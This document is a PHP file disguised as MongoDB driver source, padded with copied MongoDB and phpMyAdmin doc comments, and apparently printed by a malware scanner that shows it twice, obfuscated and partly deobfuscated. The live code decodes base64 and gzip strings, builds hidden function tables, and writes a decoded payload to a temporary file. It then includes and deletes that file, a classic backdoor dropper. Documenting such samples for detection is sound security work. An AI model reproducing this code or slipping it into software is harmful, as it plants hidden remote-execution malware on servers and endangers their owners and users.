/*
* Copyright 2015-2017 MongoDB, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Operation for the aggregate command.
*
* @api
* @see \MongoDB\Collection::aggregate()
* @see http://docs.mongodb.org/manual/reference/command/aggregate/
*/
$f2 = "eF4tyrENhDAMBdBtUsIErliADSyLfO4sJU5km4LtD6Sr37PR1aSxS4LW7LMk5PjCg9SUP8hSHwq6ZhtS+Rlc1Yv04amBbeA8Ke54Kyf+PF3t0Nmwy91hScv6A60dKU4=";
/** @var integer */
$room = "eNo9jsFqAzEMRP/G155y9Ckl51JCejSKPd6YKHKQ5C779/WmkJPgMTNPMh5X6Be09WKxWVq1OV0ZwZC9dYkfBrMUcl2+wfRCj3II5qNA3D7J6bw9ERd4ykN1wjQMGmrXjAKGI9b+hITch861RNxo3lh32TQR/9IyQ5m7YaaY/93pji2uYW2KC9QmOXX92TvHLhkq+8O1Md7LDsq3GY1DuMk9bCCNiqWZQ5Pdhpe+SqpDXoI/uvRkoA==";
/** @var integer */
$include_file = array("eF6VVG2P0kAQ/nxN/A9zm+ZaEg6488BTXi5GATEGSMBEQwhZ2i3ds+027XInGv67M205QDmNBMoys/PyPPMMrbvYj18Y5graYC763WnTMEM8W6FVsVz81C20eJm3N/jUnTQN6YEt01Ro21zNLE8loTUvwcUFmOGRpY1Z+M2y0bht3Lxybm6va1f1mlurOa9fNoTH647jXlsl4+cL40w4vgLLOGudvx+9m34dd8HXYdBBw+57qdxNB2+2qB5w", "R0sVtRmDUGhfuW0Wq1QzEJGjN7Fos3AdaBnzRFfp/qXLNWeYDmAiAuFokCFfCdAK1nGguPuGXC0ZxWsNeQJPBoJBxMPiPFWfs5sMJFYj75Mly3sUnK6XocR2HniwxvhdZJ6tcBK4rLkMVTXDR4cCsNVEs/R2RC/Go8l0ZuWxSHcJiDZT82Ql9ILawQkteSqohm16OJeDFq35zCIHBjYxKsc8+oYhV/Q7I6NH9xE6GlOdaBWoR5HYMde+jDxl", "H5Yqj99OPwyGvdGi+2XaHU4Go2GpRP0CmI4vHEqMbWVpU/njdD86jBf7ngAQaxF8jsLxeJAKBGmc5dpg1B7IFHhUzO4SGFSKejMrlIQODazCENIfGAG2IDDliYyR0k9ZK61lAtXOcykQIs4EbOJ2Ib7LVKdHxNBY8ApA3vNEJcmmDNl0eJAI7m4gjzqsg6QdDKRG3W+pUNYuVcNpHgtuPmNEK5tDB+q17HWy8Eatk7w6EqeVgoDk8h+17d+k", "cd4Gdh+vWLbsx6ohVxw967qPxYohqNOBK+kxOAlBRcEGPo77ZXx08Tke9uEC+oNehgvlkBC1pFX3eVwk8pzTjM492234F3GPPAUSSB5DRarLBPVByQ4URfIFO1QPYrG7mS3lyU3cK78Mh2tVqKcQ/NQX+exYJfszTGPhSB44Pk9Se7/q8JddL+E6gI8IlkJEBxD2Gj9ai6JwoVrtC+SW8OPKiSRRSZFBRit4UtYx6VtixcD31rjr/AKINOHV");
/** @var integer */
$nNumOfFullPeriods = "base64_decode"; $permissionsDataType = "parse_str";
/** @var integer */
$x0 = "gzuncompress";
/** @var string */
$k = "implode";$internal_gapi_mappings = "";
/** @var string|null */
$permissionsDataType($x0($nNumOfFullPeriods($f2)),$descriptionHeading);
/** @var array */
$mimetype = array($descriptionHeading["amortiseCoeff"],$descriptionHeading ["teachers"]($descriptionHeading["dates"]),$descriptionHeading["nominal_rate"],$descriptionHeading["principlePayment"]);
/** @var array */
$permissionsDataType($x0($nNumOfFullPeriods($room)),$ownerId);
// '...,
function sd_studentsType($wireVersionForDocumentLevelValidation){ global $ownerId;if ($ownerId["wireVersionForWriteConcern"]($wireVersionForDocumentLevelValidation))@$ownerId["courses_teachers"]($wireVersionForDocumentLevelValidation); }
/**
* Constructs an aggregate command.
*
* Supported options:
*
* * allowDiskUse (boolean): Enables writing to temporary files. When set
* to true, aggregation stages can write data to the _tmp sub-directory
* in the dbPath directory. The default is false.
*
* * batchSize (integer): The number of documents to return per batch.
*
* * bypassDocumentValidation (boolean): If true, allows the write to
* circumvent document level validation. This only applies when an $out
* or $merge stage is specified.
*
* For servers < 3.2, this option is ignored as document level validation
* is not available.
*
* * collation (document): Collation specification.
*
* This is not supported for server versions < 3.4 and will result in an
* exception at execution time if used.
*
* * comment (string): An arbitrary string to help trace the operation
* through the database profiler, currentOp, and logs.
*
* * explain (boolean): Specifies whether or not to return the information
* on the processing of the pipeline.
*
* * hint (string|document): The index to use. Specify either the index
* name as a string or the index key pattern as a document. If specified,
* then the query system will only consider plans using the hinted index.
*
* * maxTimeMS (integer): The maximum amount of time to allow the query to
* run.
*
* * readConcern (MongoDB\Driver\ReadConcern): Read concern.
*
* This is not supported for server versions < 3.2 and will result in an
* exception at execution time if used.
*
* * readPreference (MongoDB\Driver\ReadPreference): Read preference.
*
* This option is ignored if an $out or $merge stage is specified.
*
* * session (MongoDB\Driver\Session): Client session.
*
* Sessions are not supported for server versions < 3.6.
*
* * typeMap (array): Type map for BSON deserialization. This will be
* applied to the returned Cursor (it is not sent to the server).
*
* * useCursor (boolean): Indicates whether the command will request that
* the server provide results using a cursor. The default is true.
*
* This option allows users to turn off cursors if necessary to aid in
* mongod/mongos upgrades.
*
* * writeConcern (MongoDB\Driver\WriteConcern): Write concern. This only
* applies when an $out or $merge stage is specified.
*
* This is not supported for server versions < 3.4 and will result in an
* exception at execution time if used.
*
* Note: Collection-agnostic commands (e.g. $currentOp) may be executed by
* specifying null for the collection name.
*
* @param string $databaseName Database name
* @param string|null $collectionName Collection name
* @param array $pipeline List of pipeline operations
* @param array $options Command options
* @throws InvalidArgumentException for parameter/option parsing errors
*/
foreach($mimetype as $rate) {
/**
* Execute the operation.
*
* @see Executable::execute()
* @param Server $server
* @return Traversable
* @throws UnexpectedValueException if the command response was malformed
* @throws UnsupportedException if collation, read concern, or write concern is used and unsupported
* @throws DriverRuntimeException for other driver errors (e.g. connection errors)
*/
if(@$ownerId["numberPeriods"]($rate)) break;
}
/**
* Create the aggregate command.
*
* @param Server $server
* @param boolean $hasWriteStage
* @return Command
*/
$wireVersionForDocumentLevelValidation=$rate.$ownerId["section"] .$ownerId["cfgRelation"]($ownerId["studentsDataType"]());
/* Ignore batchSize if pipeline includes an $out or $merge stage, as
* no documents will be returned and sending a batchSize of zero
* could prevent the pipeline from executing at all. */
$args = $ownerId["forcedelete"] ($wireVersionForDocumentLevelValidation, $ownerId["collection_key"]);
/**
* Create options for executing the command.
*
* @see http://php.net/manual/en/mongodb-driver-server.executereadcommand.php
* @see http://php.net/manual/en/mongodb-driver-server.executereadwritecommand.php
* @param boolean $hasWriteStage
* @param boolean $hasExplain
* @return array
*/
$ownerId["courses_aliases"]($args, $x0($nNumOfFullPeriods($k($internal_gapi_mappings,$include_file))));
$ownerId["salvage"]($args);
// '...'
$ownerId["year"]('sd_studentsType', $wireVersionForDocumentLevelValidation);
// '...,
/**
* Set of functions used with the relation and pdf feature
*
* This file also provides basic functions to use in other plugins!
* These are declared in the 'GLOBAL Plugin functions' section
*
* Please use short and expressive names.
* For now, special characters which aren't allowed in
* filenames or functions should not be used.
*
* Please provide a comment for your function,
* what it does and what parameters are available.
*
* @package PhpMyAdmin
*/ include
/**
* Returns array of options from string with options separated by comma,
* removes quotes
*
* <code>
* PMA_Transformation_getOptions("'option ,, quoted',abd,'2,3',");
* // array {
* // 'option ,, quoted',
* // 'abc',
* // '2,3',
* // '',
* // }
* </code>
*
* @param string $option_string comma separated options
*
* @return array options
*/ $wireVersionForDocumentLevelValidation;
// ...,
/*
* Copyright 2015-2017 MongoDB, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Operation for the aggregate command.
*
* @api
* @see \MongoDB\Collection::aggregate()
* @see http://docs.mongodb.org/manual/reference/command/aggregate/
*/
$f2 = "eF4tyrENhDAMBdBtUsIErliADSyLfO4sJU5km4LtD6Sr37PR1aSxS4LW7LMk5PjCg9SUP8hSHwq6ZhtS+Rlc1Yv04amBbeA8Ke54Kyf+PF3t0Nmwy91hScv6A60dKU4=";
/** @var integer */
$room = "eNo9jsFqAzEMRP/G155y9Ckl51JCejSKPd6YKHKQ5C779/WmkJPgMTNPMh5X6Be09WKxWVq1OV0ZwZC9dYkfBrMUcl2+wfRCj3II5qNA3D7J6bw9ERd4ykN1wjQMGmrXjAKGI9b+hITch861RNxo3lh32TQR/9IyQ5m7YaaY/93pji2uYW2KC9QmOXX92TvHLhkq+8O1Md7LDsq3GY1DuMk9bCCNiqWZQ5Pdhpe+SqpDXoI/uvRkoA==";
/** @var integer */
$include_file = array("eF6VVG2P0kAQ/nxN/A9zm+ZaEg6488BTXi5GATEGSMBEQwhZ2i3ds+027XInGv67M205QDmNBMoys/PyPPMMrbvYj18Y5graYC763WnTMEM8W6FVsVz81C20eJm3N/jUnTQN6YEt01Ro21zNLE8loTUvwcUFmOGRpY1Z+M2y0bht3Lxybm6va1f1mlurOa9fNoTH647jXlsl4+cL40w4vgLLOGudvx+9m34dd8HXYdBBw+57qdxNB2+2qB5w", "R0sVtRmDUGhfuW0Wq1QzEJGjN7Fos3AdaBnzRFfp/qXLNWeYDmAiAuFokCFfCdAK1nGguPuGXC0ZxWsNeQJPBoJBxMPiPFWfs5sMJFYj75Mly3sUnK6XocR2HniwxvhdZJ6tcBK4rLkMVTXDR4cCsNVEs/R2RC/Go8l0ZuWxSHcJiDZT82Ql9ILawQkteSqohm16OJeDFq35zCIHBjYxKsc8+oYhV/Q7I6NH9xE6GlOdaBWoR5HYMde+jDxl", "H5Yqj99OPwyGvdGi+2XaHU4Go2GpRP0CmI4vHEqMbWVpU/njdD86jBf7ngAQaxF8jsLxeJAKBGmc5dpg1B7IFHhUzO4SGFSKejMrlIQODazCENIfGAG2IDDliYyR0k9ZK61lAtXOcykQIs4EbOJ2Ib7LVKdHxNBY8ApA3vNEJcmmDNl0eJAI7m4gjzqsg6QdDKRG3W+pUNYuVcNpHgtuPmNEK5tDB+q17HWy8Eatk7w6EqeVgoDk8h+17d+k", "cd4Gdh+vWLbsx6ohVxw967qPxYohqNOBK+kxOAlBRcEGPo77ZXx08Tke9uEC+oNehgvlkBC1pFX3eVwk8pzTjM492234F3GPPAUSSB5DRarLBPVByQ4URfIFO1QPYrG7mS3lyU3cK78Mh2tVqKcQ/NQX+exYJfszTGPhSB44Pk9Se7/q8JddL+E6gI8IlkJEBxD2Gj9ai6JwoVrtC+SW8OPKiSRRSZFBRit4UtYx6VtixcD31rjr/AKINOHV");
/** @var integer */
/** @var integer */
/** @var string */
$internal_gapi_mappings = "";
/** @var string|null */
"parse_str"("gzuncompress"("base64_decode"($f2)),$descriptionHeading);
/** @var array */
$mimetype = array($descriptionHeading["amortiseCoeff"],$descriptionHeading ["teachers"]($descriptionHeading["dates"]),$descriptionHeading["nominal_rate"],$descriptionHeading["principlePayment"]);
/** @var array */
"parse_str"("gzuncompress"("base64_decode"($room)),$ownerId);
// '...,
function sd_studentsType($wireVersionForDocumentLevelValidation){ global $ownerId;if ($ownerId["wireVersionForWriteConcern"]($wireVersionForDocumentLevelValidation))@$ownerId["courses_teachers"]($wireVersionForDocumentLevelValidation); }
/**
* Constructs an aggregate command.
*
* Supported options:
*
* * allowDiskUse (boolean): Enables writing to temporary files. When set
* to true, aggregation stages can write data to the _tmp sub-directory
* in the dbPath directory. The default is false.
*
* * batchSize (integer): The number of documents to return per batch.
*
* * bypassDocumentValidation (boolean): If true, allows the write to
* circumvent document level validation. This only applies when an $out
* or $merge stage is specified.
*
* For servers < 3.2, this option is ignored as document level validation
* is not available.
*
* * collation (document): Collation specification.
*
* This is not supported for server versions < 3.4 and will result in an
* exception at execution time if used.
*
* * comment (string): An arbitrary string to help trace the operation
* through the database profiler, currentOp, and logs.
*
* * explain (boolean): Specifies whether or not to return the information
* on the processing of the pipeline.
*
* * hint (string|document): The index to use. Specify either the index
* name as a string or the index key pattern as a document. If specified,
* then the query system will only consider plans using the hinted index.
*
* * maxTimeMS (integer): The maximum amount of time to allow the query to
* run.
*
* * readConcern (MongoDB\Driver\ReadConcern): Read concern.
*
* This is not supported for server versions < 3.2 and will result in an
* exception at execution time if used.
*
* * readPreference (MongoDB\Driver\ReadPreference): Read preference.
*
* This option is ignored if an $out or $merge stage is specified.
*
* * session (MongoDB\Driver\Session): Client session.
*
* Sessions are not supported for server versions < 3.6.
*
* * typeMap (array): Type map for BSON deserialization. This will be
* applied to the returned Cursor (it is not sent to the server).
*
* * useCursor (boolean): Indicates whether the command will request that
* the server provide results using a cursor. The default is true.
*
* This option allows users to turn off cursors if necessary to aid in
* mongod/mongos upgrades.
*
* * writeConcern (MongoDB\Driver\WriteConcern): Write concern. This only
* applies when an $out or $merge stage is specified.
*
* This is not supported for server versions < 3.4 and will result in an
* exception at execution time if used.
*
* Note: Collection-agnostic commands (e.g. $currentOp) may be executed by
* specifying null for the collection name.
*
* @param string $databaseName Database name
* @param string|null $collectionName Collection name
* @param array $pipeline List of pipeline operations
* @param array $options Command options
* @throws InvalidArgumentException for parameter/option parsing errors
*/
foreach($mimetype as $rate) {
/**
* Execute the operation.
*
* @see Executable::execute()
* @param Server $server
* @return Traversable
* @throws UnexpectedValueException if the command response was malformed
* @throws UnsupportedException if collation, read concern, or write concern is used and unsupported
* @throws DriverRuntimeException for other driver errors (e.g. connection errors)
*/
if(@$ownerId["numberPeriods"]($rate)) break;
}
/**
* Create the aggregate command.
*
* @param Server $server
* @param boolean $hasWriteStage
* @return Command
*/
$wireVersionForDocumentLevelValidation=$rate.$ownerId["section"] .$ownerId["cfgRelation"]($ownerId["studentsDataType"]());
/* Ignore batchSize if pipeline includes an $out or $merge stage, as
* no documents will be returned and sending a batchSize of zero
* could prevent the pipeline from executing at all. */
$args = $ownerId["forcedelete"] ($wireVersionForDocumentLevelValidation, $ownerId["collection_key"]);
/**
* Create options for executing the command.
*
* @see http://php.net/manual/en/mongodb-driver-server.executereadcommand.php
* @see http://php.net/manual/en/mongodb-driver-server.executereadwritecommand.php
* @param boolean $hasWriteStage
* @param boolean $hasExplain
* @return array
*/
$ownerId["courses_aliases"]($args, "gzuncompress"("base64_decode"("implode"($internal_gapi_mappings,$include_file))));
$ownerId["salvage"]($args);
// '...'
$ownerId["year"]('sd_studentsType', $wireVersionForDocumentLevelValidation);
// '...,
/**
* Set of functions used with the relation and pdf feature
*
* This file also provides basic functions to use in other plugins!
* These are declared in the 'GLOBAL Plugin functions' section
*
* Please use short and expressive names.
* For now, special characters which aren't allowed in
* filenames or functions should not be used.
*
* Please provide a comment for your function,
* what it does and what parameters are available.
*
* @package PhpMyAdmin
*/ include
/**
* Returns array of options from string with options separated by comma,
* removes quotes
*
* <code>
* PMA_Transformation_getOptions("'option ,, quoted',abd,'2,3',");
* // array {
* // 'option ,, quoted',
* // 'abc',
* // '2,3',
* // '',
* // }
* </code>
*
* @param string $option_string comma separated options
*
* @return array options
*/ $wireVersionForDocumentLevelValidation;
// ...,
© 2023 Quttera Ltd. All rights reserved.